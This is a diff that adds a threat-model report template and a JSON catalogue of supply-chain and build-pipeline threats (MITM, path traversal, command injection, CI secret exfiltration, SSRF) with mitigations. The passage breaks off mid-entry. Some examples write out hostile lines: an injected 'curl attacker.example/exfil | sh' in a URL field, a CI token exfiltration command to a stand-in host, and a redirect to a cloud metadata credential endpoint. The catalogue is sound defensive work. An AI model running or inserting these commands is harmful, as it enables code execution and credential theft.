+
+ {{item:call:getThreatId}} - {{item:call:getFindingDescription}}
+
+
+ {{item:call:getThreatId}} was excluded for
+ {{item:call:getFindingTarget}}
+ because of the assumption "{{item.assumption.name}}"
+
+ {{item.assumption.description:if:
+ Assumption description
+ {{item.assumption.description}}
+ }}
+ Severity
+ {{item:call:getFindingSeverity}}
+ Example Instances
+ {{item:call:getFindingExample}}
+ References
+ {{item:call:getFindingReferences}}
+
+}
diff --git a/security/threats.json b/security/threats.json
new file mode 100644
index 00000000..27352445
--- /dev/null
+++ b/security/threats.json
@@ -0,0 +1,497 @@
+[
+ {
+ "SID": "DFT-01",
+ "target": [
+ "Dataflow"
+ ],
+ "description": "Unencrypted transport interception (MITM)",
+ "details": "A network-adjacent attacker intercepts an unencrypted data flow (HTTP, plaintext VCS protocol, or similar) and substitutes or reads content in transit. Transport-layer attacks are invisible to the application when no channel encryption is enforced.",
+ "Likelihood Of Attack": "Medium",
+ "severity": "High",
+ "condition": "target.controls.isPlaintext is True and target.controls.isNetworkFlow is True",
+ "prerequisites": "A tool or configuration accepts a plaintext-protocol URL (http://, svn://, git://). The attacker has a network-adjacent position - shared LAN, BGP hijack, or compromised DNS resolver.",
+ "mitigations": "Restrict all configured URLs to encrypted transports (HTTPS, svn+https://, SSH). Enforce the transport scheme at the configuration-validation layer so plaintext URLs are rejected at parse time. Apply cryptographic integrity hashes to archive sources so substitution is detected even when transport is later found to have been intercepted.",
+ "example": "A CI runner on a shared cloud network fetches a dependency archive over http://. A co-located attacker intercepts the TCP stream and replaces the archive bytes before they reach the build tool.",
+ "references": "https://capec.mitre.org/data/definitions/94.html, https://cwe.mitre.org/data/definitions/319.html"
+ },
+ {
+ "SID": "DFT-02",
+ "target": [
+ "Dataflow"
+ ],
+ "description": "Supply-chain content substitution via server-side compromise",
+ "details": "An attacker who compromises an upstream repository host, archive server, or CDN delivers malicious source code because no cryptographic content hash is verified end-to-end. Transport security (TLS) protects only against network-layer interception; it cannot detect content that has been legitimately served but tampered with on the server before delivery.",
+ "Likelihood Of Attack": "Medium",
+ "severity": "High",
+ "condition": "target.controls.providesIntegrity is False and target.controls.isNetworkFlow is True",
+ "prerequisites": "No integrity hash is declared for archive sources, or the dependency is a VCS reference (branch or tag) for which no hash equivalent is available. The attacker controls or has compromised an upstream server, registry, or CDN node.",
+ "mitigations": "Require cryptographic integrity hashes for all archive dependencies. Pin VCS dependencies to immutable commit SHAs rather than mutable branch or tag references. Verify artifact signatures or SLSA provenance attestations where supported by the upstream.",
+ "example": "A project vendor hosts a tarball on a self-managed server. An attacker who previously compromised the server replaces it with a backdoored version; the build tool downloads and vendors it without detecting the substitution.",
+ "references": "https://capec.mitre.org/data/definitions/186.html, https://cwe.mitre.org/data/definitions/494.html"
+ },
+ {
+ "SID": "DFT-03",
+ "target": [
+ "Process"
+ ],
+ "description": "Path traversal in archive or patch extraction",
+ "details": "A malicious archive member or patch file uses relative path sequences (e.g. ../../) or absolute paths to write files outside the intended extraction directory, potentially overwriting project sources, CI configuration, or secrets.",
+ "Likelihood Of Attack": "Medium",
+ "severity": "Very High",
+ "condition": "target.controls.sanitizesInput is False",
+ "prerequisites": "The archive or patch file originates from an attacker-controlled or compromised upstream source. The extraction process does not resolve and validate destination paths against an approved root directory.",
+ "mitigations": "Resolve every member's destination path - following symlinks - and reject any path whose canonical form lies outside the intended extraction root. Validate all symlinks after extraction. Reject patches whose headers reference paths outside the project boundary.",
+ "example": "A tarball contains the member ../../.github/workflows/publish.yml; without path-traversal checks this overwrites the CI publish workflow, injecting a secret-exfiltration step.",
+ "references": "https://capec.mitre.org/data/definitions/139.html, https://cwe.mitre.org/data/definitions/22.html, CVE-2001-1267"
+ },
+ {
+ "SID": "DFT-04",
+ "target": [
+ "Datastore"
+ ],
+ "description": "Sensitive datastore write without content integrity verification",
+ "details": "A datastore that accepts write operations from potentially untrusted sources does not validate or verify the content being written. An attacker with influence over the upstream source can inject malicious content that is consumed by downstream processes without detection.",
+ "Likelihood Of Attack": "Low",
+ "severity": "High",
+ "condition": "target.storesSensitiveData is True and target.hasWriteAccess is True and target.controls.validatesInput is False",
+ "prerequisites": "The attacker has write access to the upstream source - through a compromised server or local filesystem access. The consuming process trusts the datastore content without re-validation.",
+ "mitigations": "Validate all content on read using a strict schema. Apply cryptographic integrity hashes to detect substitution before content is written to sensitive datastores. Restrict write access to trusted, authenticated sources only.",
+ "example": "Fetched source code is written to a vendor directory from an unverified HTTP source. Because no integrity hash is present, injected malicious source passes undetected into the consumer's build.",
+ "references": "https://capec.mitre.org/data/definitions/438.html, https://cwe.mitre.org/data/definitions/345.html"
+ },
+ {
+ "SID": "DFT-05",
+ "target": [
+ "Dataflow"
+ ],
+ "description": "Mutable VCS reference enables silent content substitution",
+ "details": "A branch- or tag-pinned VCS dependency is a mutable reference. An upstream maintainer or attacker with repository write access can silently change the content fetched on the next update - without any configuration diff, hash mismatch, or alerting mechanism being triggered.",
+ "Likelihood Of Attack": "Medium",
+ "severity": "Medium",
+ "condition": "target.controls.isHardened is False and target.controls.providesIntegrity is False and target.controls.isNetworkFlow is True",
+ "prerequisites": "A dependency is pinned to a mutable VCS reference (branch or tag, not a full commit SHA). The upstream repository permits force-pushes to the tracked reference, or an attacker has compromised a maintainer account.",
+ "mitigations": "Pin all VCS dependencies to a full, immutable commit SHA. Periodically audit upstream refs against previously recorded SHAs. Enable signed commits or tag verification where the upstream supports it.",
+ "example": "A dependency is pinned to a release tag v2.1. A maintainer account is compromised; the attacker force-pushes a backdoored commit to that tag. The next dependency update silently vendors the malicious code.",
+ "references": "https://slsa.dev/spec/v1.0/threats#b-submit-change, https://capec.mitre.org/data/definitions/690.html, https://cwe.mitre.org/data/definitions/829.html"
+ },
+ {
+ "SID": "DFT-06",
+ "target": [
+ "Process"
+ ],
+ "description": "Command injection via unsanitised subprocess input",
+ "details": "If external commands are invoked via a shell interpreter, or with unsanitised user-controlled strings interpolated into command arguments, an attacker who can influence configuration inputs can inject arbitrary shell commands that execute with the privileges of the calling process.",
+ "Likelihood Of Attack": "Low",
+ "severity": "High",
+ "condition": "target.controls.invokesSubprocess is True and target.controls.usesParameterizedInput is False",
+ "prerequisites": "A process invokes external commands using a shell interpreter or string interpolation without strict sanitisation of inputs derived from untrusted sources such as configuration files, CLI arguments, or environment variables.",
+ "mitigations": "Invoke all external programs with shell execution disabled and using list-form argument passing. Validate all configuration string fields with a strict allowlist regular expression before use as subprocess arguments.",
+ "example": "A manifest URL field contains '; curl attacker.example/exfil | sh'. If the tool passes the URL to a shell command without proper argument isolation, the injected command executes in the build environment.",
+ "references": "https://capec.mitre.org/data/definitions/88.html, https://cwe.mitre.org/data/definitions/78.html"
+ },
+ {
+ "SID": "DFT-07",
+ "target": [
+ "Process"
+ ],
+ "description": "CI/CD secret exfiltration via supply-chain attack on build environment",
+ "details": "A compromised or malicious step in a CI/CD pipeline - injected via a pull request, a poisoned third-party action or plugin, or a backdoored build dependency - reads secrets from the runner environment and exfiltrates them over an outbound network channel. Without strict egress controls, any code executing in the CI environment can access and transmit secrets.",
+ "Likelihood Of Attack": "Low",
+ "severity": "High",
+ "condition": "target.controls.isHardened is False",
+ "prerequisites": "A pipeline step can run attacker-controlled code - through a malicious PR modifying pipeline configuration, a compromised third-party action or plugin, or a backdoored build dependency. Outbound network access from the CI environment is not restricted to an explicit allowlist.",
+ "mitigations": "Pin all third-party CI actions and plugins to a full commit SHA. Set the CI egress policy to block with an explicit allowlist of required hosts. Scope secrets narrowly - avoid propagating all secrets to every pipeline job. Require mandatory reviewer approval before privileged operations such as publish and deploy.",
+ "example": "A PR adds a pipeline step that runs curl -s $CI_TOKEN | attacker.example/collect. Because egress is only audited (not blocked), the exfiltration succeeds and the attacker obtains a publish credential.",
+ "references": "https://slsa.dev/spec/v1.0/threats#e-build-process, https://capec.mitre.org/data/definitions/560.html, https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions"
+ },
+ {
+ "SID": "DFT-08",
+ "target": [
+ "Datastore"
+ ],
+ "description": "Tampered secondary artifact suppresses or bypasses security checks",
+ "details": "An attacker with access to the local build environment or a compromised CI step tampers with a secondary artifact - dependency metadata, patch files, pipeline configuration, or security reports - to suppress security checks or inject malicious behaviour into subsequent pipeline runs. Primary assets are protected; secondary ones are trusted implicitly.",
+ "Likelihood Of Attack": "Low",
+ "severity": "Medium",
+ "condition": "target.controls.validatesInput is False and target.hasWriteAccess is True and target.storesSensitiveData is False",
+ "prerequisites": "The attacker has write access to the local repository or the CI runner's working directory. Downstream processes consume the artifact without re-validation or integrity checking.",
+ "mitigations": "Apply integrity verification (checksums or signatures) to secondary build artifacts. Treat dependency metadata as an append-only audit log where feasible. Protect pipeline configuration files via branch-protection rules and mandatory code review.",
+ "example": "An attacker modifies a dependency metadata cache file to record a known-good hash for a compromised dependency, causing the up-to-date check to report no changes and suppressing the security alert.",
+ "references": "https://capec.mitre.org/data/definitions/268.html, https://cwe.mitre.org/data/definitions/494.html"
+ },
+ {
+ "SID": "DFT-09",
+ "target": [
+ "Process"
+ ],
+ "description": "Archive decompression bomb causes resource exhaustion",
+ "details": "A specially crafted archive (zip bomb, tar bomb) expands to an extremely large or deeply nested file tree, causing the extracting process to exhaust disk, memory, or CPU resources. Without pre-extraction size and member-count limits the process may hang or crash, destabilising the build environment.",
+ "Likelihood Of Attack": "Low",
+ "severity": "Medium",
+ "condition": "target.controls.checksInputBounds is False",
+ "prerequisites": "The archive originates from an attacker-controlled or compromised source. The extraction process applies no upper bound on uncompressed size or total member count before or during extraction.",
+ "mitigations": "Enforce configurable upper limits on uncompressed size and member count, applied early in the streaming extraction loop before writing any bytes to disk. Reject archives that exceed either threshold.",
+ "example": "A 42 KB zip bomb (42.zip) expands to 4.5 PB of nested zero-byte files; without a member-count limit the extraction loop runs indefinitely, exhausting disk space on the CI runner.",
+ "references": "https://capec.mitre.org/data/definitions/130.html, https://cwe.mitre.org/data/definitions/400.html"
+ },
+ {
+ "SID": "DFT-10",
+ "target": [
+ "Datastore"
+ ],
+ "description": "Build or development dependency substitution via compromised registry",
+ "details": "A project's own build and development dependencies are fetched from a public registry without cryptographic hash verification. A compromised registry mirror, BGP-hijacked endpoint, or DNS-spoofed response can substitute a malicious package that runs arbitrary code during installation or build, with access to CI/CD secrets.",
+ "Likelihood Of Attack": "Low",
+ "severity": "High",
+ "condition": "target.controls.providesIntegrity is False and target.hasWriteAccess is False",
+ "prerequisites": "A public package registry or its DNS resolution is compromised. The CI install step does not use hash-pinned dependency files (e.g. requirements files with integrity hashes, lockfiles with integrity fields).",
+ "mitigations": "Pin all build and development dependencies using cryptographic hashes in a lockfile or requirements file. Use a private registry mirror with content verification. Prefer installing from a pinned lockfile over loose version ranges in CI pipelines.",
+ "example": "A BGP hijack redirects package registry traffic to a malicious mirror that serves a backdoored build tool. The backdoor runs at install time, exfiltrating the CI publish token before the build begins.",
+ "references": "https://capec.mitre.org/data/definitions/538.html, https://cwe.mitre.org/data/definitions/494.html"
+ },
+ {
+ "SID": "DFT-11",
+ "target": [
+ "Process"
+ ],
+ "description": "Privileged account compromise enables unauthorised merge or release",
+ "details": "A maintainer or repository-admin account with merge or release-trigger permissions is compromised through phishing, credential stuffing, session hijacking, or MFA bypass. The attacker gains the ability to merge pull requests without peer review, push directly to protected branches, or trigger the release workflow - bypassing all branch-protection and review gates. Once in control of the release pipeline, the attacker can publish a backdoored package without any automated block.",
+ "Likelihood Of Attack": "Low",
+ "severity": "High",
+ "condition": "target.controls.hasAccessControl is True and target.controls.isHardened is False",
+ "prerequisites": "A maintainer account holds merge or release-trigger rights. The repository does not require hardware-token MFA for privileged operations, or does not enforce mandatory second-approver sign-off on the release environment.",
+ "mitigations": "Enforce hardware-token MFA (FIDO2/WebAuthn) for all accounts with merge or publish rights. Require deployment-environment reviewer approval before release pipelines execute. Monitor for off-hours merges, single-approver releases, and unexpected publish events. Rotate publish credentials immediately on suspected account compromise.",
+ "example": "An attacker phishes a maintainer's credentials and an SMS-based TOTP code. They merge a backdoored PR in a low-traffic window, trigger the release workflow, and publish a malicious package before the compromise is detected.",
+ "references": "https://slsa.dev/spec/v1.0/threats#c-source-code-management, https://capec.mitre.org/data/definitions/194.html, https://docs.github.com/en/actions/security-guides/using-environments-for-deployment, https://cwe.mitre.org/data/definitions/306.html"
+ },
+ {
+ "SID": "DFT-12",
+ "target": [
+ "Dataflow"
+ ],
+ "description": "SSRF via unvalidated HTTP redirect chain",
+ "details": "Tools that follow HTTP 3xx redirects when fetching remote resources may accept redirect targets without validating the destination host. A compromised or malicious server can issue a redirect to an internal network address - such as cloud instance-metadata endpoints, container orchestration APIs, or any RFC-1918 address reachable from the build host - causing the tool to retrieve and store the response locally. The resulting content may be extracted or logged, leaking internal credentials or configuration.",
+ "Likelihood Of Attack": "Medium",
+ "severity": "High",
+ "condition": "target.controls.isHardened is False and target.controls.followsRedirects is True",
+ "prerequisites": "The tool is configured with an http:// URL, or an https:// URL that redirects through an unencrypted hop. The build host has network access to internal metadata endpoints or private services. The attacker controls or has compromised the server or an intermediate CDN node.",
+ "mitigations": "Validate that each redirect destination host is in an explicit allowlist before following it. Reject redirects that resolve to RFC-1918, loopback, or link-local address ranges. Enforce HTTPS for all configured URLs so both the original request and all redirects use encrypted transport.",
+ "example": "A manifest pins a dependency to http://files.example.com/lib-2.0.tar.gz. The server responds with a 301 redirect to http://169.254.169.254/latest/meta-data/iam/security-credentials/role. The tool follows the redirect, receives the JSON body containing AWS access keys, and writes it to a temporary file - leaving the credential on disk in the build environment.",
+ "references": "https://capec.mitre.org/data/definitions/664.html, https://cwe.mitre.org/data/definitions/918.html"
+ },
+ {
+ "SID": "DFT-13",
+ "target": [
+ "Datastore"
+ ],
+ "description": "Credential embedded in source URL persisted to unencrypted metadata",
+ "details": "Dependency management tools often record the source URL in a metadata or lock file after a successful fetch. If the URL contains an embedded credential in the userinfo component (user:password@host), that credential is written verbatim to the metadata file in plaintext. Because metadata files are typically committed to version control, the credential propagates into the project's commit history and becomes readable by every repository clone, CI environment with checkout access, and any attacker who gains access to the repository.",
+ "Likelihood Of Attack": "Medium",
+ "severity": "High",
+ "condition": "target.isCredentials is True and target.isStored is True and target.isDestEncryptedAtRest is False",
+ "prerequisites": "A user embeds a credential in a source URL instead of using an OS keychain, SSH agent, or CI secret store. The tool's metadata file is committed to version control without sanitising the stored URL.",
+ "mitigations": "Detect the userinfo component in URLs at parse time and warn or reject them. Strip embedded credentials from URLs before writing them to any persistent metadata file. Document that credentials must be supplied through external credential helpers, not embedded in source URLs. Run secret-scanning tooling as a pre-commit hook to catch inadvertent credential commits.",
+ "example": "A developer adds https://ci-bot: